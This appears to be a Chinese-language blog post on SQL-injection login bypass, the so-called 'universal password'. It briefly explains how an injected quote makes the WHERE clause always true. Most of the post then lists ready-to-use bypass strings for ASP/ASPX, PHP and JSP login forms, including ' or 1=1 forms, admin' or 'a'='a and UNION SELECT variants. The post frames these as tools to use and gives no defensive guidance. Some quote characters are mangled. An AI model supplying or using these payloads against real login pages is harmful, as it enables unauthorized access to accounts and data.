万能密码漏洞

漏洞原理

很多网站把用户名和密码放在数据库中,当用户登录网站时,一般采用sql语句查询数据库验证信息。以asp为例

1
select * from user where 'username' ='$username' and 'password' = '$password'

其中user是数据空中存放用户信息的表,username是存放用户名的字段,password是存放密码的字段。
当用户输入输入 ‘or’’ ='时,sql语句语句就变成了

1
select * from user where 'username' = ''or''='' and 'password' = '$password'

由于’’ = ''恒成立,所以where所指条件成立,因而可以绕过身份验证。
万能密码中开头和结尾的单引号,主要是为了将查询语句中引用变量的单引号闭合,注意此处不能使用双引号,在查询语句中,双引号只能使其中的变量变成字符。

常用万能密码

asp,aspx万能密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
1"or "a"="a
2:')or('a'='a
3:or 1=1
4:'or 1=1–
5:a'or' 1=1–
6:"or 1=1–
7:or 'a'='a
8"or "="a'='a
9:'or"=''
10:'or'='or'
11: 1 or '1'='1'=1
12: 1 or '1'='1' or 1=1
13: 'OR 1=1%00
14: "or 1=1%00
15: "xor
16: 新型万能登陆密码
用户名' UNION Select 1,1,1 FROM admin Where "=' (替换表名admin)
密码 1
Username=-1%cf' union select 1,1,1 as password,1,1,1 %23
Password=1
17: admin' or 'a'='a 密码随便

PHP万能密码

1
2
3
4
1: ‘or’=’or’
2: ‘or 1=1/* 字符型 GPC是否开都可以使用
3: User: something
4: Pass: OR ‘1’=’1

jsp 万能密码

1
2
3
4
1: 1or1’=’1
2: admin’ OR 1=1/*
用户名:admin 系统存在这个用户的时候 才用得上
密码:1’or’1’=’1
坚持原创技术分享,您的支持将鼓励我继续创作!